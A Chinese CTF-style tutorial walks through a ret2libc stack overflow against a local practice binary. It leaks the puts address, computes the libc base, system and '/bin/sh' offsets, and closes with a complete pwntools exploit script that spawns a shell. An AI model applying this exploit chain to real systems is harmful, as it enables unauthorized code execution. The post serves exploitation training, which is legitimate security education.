栈溢出入门(ret2libc漏洞)

先来看下本次学习的文件:

easydemo是本次学习的ELF文件;

ld-linux-x86-64.so.2是一个动态链接器,它的意义是确保程序依赖的libc.so.6这样的库被正确地加载到内存中

libc.so.6是一个Linux中的基本库,其类似于C语言中的头文件stdio.h,但其重要性比stdio.h更强

为什么这样做?

在有些程序中,虽然它是动态编译,但是它所依赖的库也自己打包带走了,在使用时使用自带的库而不是所处系统的库,依次来保证程序与运行的可行性;这样的意义对单个程序来说不大,但对于同一开发者的一套程序来说,相较于静态编译省下了很大一部分空间

根据做PWN题的基本思路,我们来检查一下保护程序的情况:

可以看到这里有一个runpath,即运行路径;程序默认调用的库时所处系统的libc库,这里我们需要通过指令将其更改为我们目录下的文件

执行:

patchelf easydemo --set-interpreter ./ld-linux-x86-64.so.2 --set-rpath .

注意,这里需要ld-linux-x86-64.so.2和libc.so.6均具有可执行权限

rpath是指定的文件夹路径

判断libc的版本:

执行:strings libc.so.6 | grep version

这里是2.26版的libc(较老,以2.28版本为界)

接下来我们用IDA来看一下easydemo:

注意到:

这条语句的含义是给出了所用的puts函数的内存地址,这里的意义是?

ret2libc的原理:

我们可以看到,puts函数是经由libc库动态加载的,而且很明显的函数列表中没有system这样的函数,我们就想到能不能去libc库里面找,因为里面包有的,但是问题在于,虽然程序本身没有开PIE保护,地址是固定的,但是libc库的地址是随机的,在IDA中看到的只是相对位置,但是如果我们知道其中某个函数的绝对地址,我们就可以推算其它函数的绝对地址。

关于内存布局:

可以从这里看到我们的库的路径已经成功修改

我们对这样一个内存布局进行分析:

这一块内存是存放程序的一些表的空间,比如之前提到的.bss表

这一段就是存放堆的内存

这一段是程序需要加载的各种库的内存,其中anon与匿名函数有关

这一段就是栈

这一块用于存放vsyscall页,它的存在使得频繁的系统调用更高效

所有的标准的地址都是物理地址映射出来的虚拟地址

我们要通过puts函数的地址去得到system函数的地址

去IDA里面查看我们的libc:

puts函数的地址(相对):0x78460

system函数的地址(相对):0x47dc0

"bin_sh"的地址(相对):0x1a3ee0

由于puts函数每次加载的地址不同,我们需要动态地进行获取

这里需要使用之前用过的recvuntil方法

sh.recvuntil(b': ')

puts_addr = int(sh.recvuntil(b'\n').replace(b'\n', b''), 16)

log.success("puts_addr: " + hex(puts_addr))

截取成功

这里说一下截取:

这里的两个recvuntil相当于切两刀,第一个recvuntil在:[空格]的后面切了一刀,第二个recvuntil在\n后面切了一刀,此时若令puts_addr等于第二个recvuntil方法的返回值,那么puts_addr的值就会被赋为这两刀之间的内容(带\n),用replace方法将\n抹除,用int方法将得到的字符串转换为16进制整型数据(单个recvuntil是截不到的)

通过puts函数的相对地址推算libc库的基地址:

&puts - puts函数的相对地址 = libc库的基地址

libc库的地址回显如果是000结尾的基本就是对的(对齐)

再根据libc的基地址推算system函数的绝对地址

在libc中找一个rdi的gadget:

结合上面IDA找到的综合编写脚本如下:

from pwn import *

context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']
context.log_level = 'debug'

sh = process('./easydemo')
# gdb.attach(sh, gdbscript="", gdb_args=['-q', '-ex', 'init-pwndbg'])
sh.recvuntil(b': ')
puts_addr = int(sh.recvuntil(b'\n').replace(b'\n', b''), 16)

log.success("puts_addr: " + hex(puts_addr))

libc_base_addr = puts_addr - 0x78460

log.success("libc_base_addr: " + hex(libc_base_addr))

pop_rdi = libc_base_addr + 0x20b8b

bin_sh = libc_base_addr + 0x1a3ee0

sh.sendline(b'A'*88 + p64(pop_rdi) + p64(bin_sh) + p64(libc_base_addr + 0x47dc0))

log.success("Got shell!")


# Write your own code here

sh.interactive()

拿下

  • 13
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值